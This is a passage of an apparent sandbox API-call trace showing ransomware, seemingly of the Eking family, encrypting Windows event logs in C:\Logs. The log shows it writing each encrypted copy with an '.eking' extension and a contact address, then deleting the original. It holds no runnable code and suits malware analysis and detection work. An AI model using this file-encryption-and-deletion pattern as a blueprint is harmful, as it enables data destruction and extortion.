"c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0221.929] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0221.929] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0221.929] ReadFile (in: hFile=0x370, lpBuffer=0x346e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9f644, lpOverlapped=0x0 | out: lpBuffer=0x346e058*, lpNumberOfBytesRead=0x2f9f644*=0x40000, lpOverlapped=0x0) returned 1 [0221.943] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0221.943] ReadFile (in: hFile=0x370, lpBuffer=0x34ae058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9f644, lpOverlapped=0x0 | out: lpBuffer=0x34ae058*, lpNumberOfBytesRead=0x2f9f644*=0x40000, lpOverlapped=0x0) returned 1 [0222.302] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0222.302] ReadFile (in: hFile=0x370, lpBuffer=0x34ee058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9f644, lpOverlapped=0x0 | out: lpBuffer=0x34ee058*, lpNumberOfBytesRead=0x2f9f644*=0x40000, lpOverlapped=0x0) returned 1 [0222.349] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7a8 | out: lpNewFilePointer=0x0) returned 1 [0222.349] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xc0162, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xc0162, lpOverlapped=0x0) returned 1 [0222.813] SetEndOfFile (hFile=0x370) returned 1 [0222.813] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f640 | out: lpNewFilePointer=0x0) returned 1 [0222.813] WriteFile (in: hFile=0x370, lpBuffer=0x352e19a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9f64c, lpOverlapped=0x0 | out: lpBuffer=0x352e19a*, lpNumberOfBytesWritten=0x2f9f64c*=0x40000, lpOverlapped=0x0) returned 1 [0222.815] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f640 | out: lpNewFilePointer=0x0) returned 1 [0222.816] WriteFile (in: hFile=0x370, lpBuffer=0x352e19a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9f64c, lpOverlapped=0x0 | out: lpBuffer=0x352e19a*, lpNumberOfBytesWritten=0x2f9f64c*=0x40000, lpOverlapped=0x0) returned 1 [0222.818] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f640 | out: lpNewFilePointer=0x0) returned 1 [0222.819] WriteFile (in: hFile=0x370, lpBuffer=0x352e19a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9f64c, lpOverlapped=0x0 | out: lpBuffer=0x352e19a*, lpNumberOfBytesWritten=0x2f9f64c*=0x40000, lpOverlapped=0x0) returned 1 [0222.821] CloseHandle (hObject=0x370) returned 1 [0223.482] SetEvent (hEvent=0x2b8) returned 1 [0223.497] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0223.511] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0223.511] CloseHandle (hObject=0x358) returned 1 [0223.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0223.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0223.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.864] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0223.864] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.864] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.864] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0223.865] ReadFile (in: hFile=0x378, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0223.870] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0223.873] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0223.873] CloseHandle (hObject=0x378) returned 1 [0223.873] CloseHandle (hObject=0x37c) returned 1 [0223.880] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0223.881] SetEvent (hEvent=0x2b8) returned 1 [0223.882] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0223.882] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0223.882] CloseHandle (hObject=0x37c) returned 1 [0223.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0223.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0223.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.882] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0223.882] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.883] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.883] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0223.895] ReadFile (in: hFile=0x37c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0223.963] WriteFile (in: hFile=0x378, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0223.965] WriteFile (in: hFile=0x378, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0223.965] CloseHandle (hObject=0x37c) returned 1 [0223.965] CloseHandle (hObject=0x378) returned 1 [0223.972] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0223.974] SetEvent (hEvent=0x2b8) returned 1 [0223.974] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0223.975] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0223.975] CloseHandle (hObject=0x378) returned 1 [0223.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0223.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0223.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.975] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0223.975] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.975] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.976] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0223.976] ReadFile (in: hFile=0x378, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0223.984] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0223.987] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0223.987] CloseHandle (hObject=0x378) returned 1 [0223.987] CloseHandle (hObject=0x37c) returned 1 [0223.992] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0223.994] SetEvent (hEvent=0x2b8) returned 1 [0223.994] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0223.994] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0223.994] CloseHandle (hObject=0x37c) returned 1 [0223.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0223.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0223.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0223.995] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0223.995] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.995] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0223.995] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0223.999] ReadFile (in: hFile=0x37c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0224.155] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0224.158] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0224.158] CloseHandle (hObject=0x37c) returned 1 [0224.159] CloseHandle (hObject=0x348) returned 1 [0224.164] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0224.166] SetEvent (hEvent=0x2b8) returned 1 [0224.167] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0224.167] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0224.167] CloseHandle (hObject=0x348) returned 1 [0224.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0224.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0224.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0224.167] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0224.168] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0224.168] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0224.168] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0224.168] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0224.173] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0224.175] WriteFile (in: hFile=0x37c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0224.175] CloseHandle (hObject=0x348) returned 1 [0224.175] CloseHandle (hObject=0x37c) returned 1 [0224.179] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0224.181] SetEvent (hEvent=0x2b8) returned 1 [0224.182] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0224.184] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0224.184] CloseHandle (hObject=0x37c) returned 1 [0224.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0224.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0224.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0224.185] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0224.185] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0224.185] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0224.185] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0224.186] ReadFile (in: hFile=0x37c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0224.406] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0224.411] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0224.411] CloseHandle (hObject=0x37c) returned 1 [0224.411] CloseHandle (hObject=0x348) returned 1 [0224.634] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0224.704] SetEvent (hEvent=0x2b8) returned 1 [0224.705] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0224.912] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0224.912] CloseHandle (hObject=0x368) returned 1 [0224.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0224.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0224.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0224.912] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0224.913] SetFilePointerEx (in: 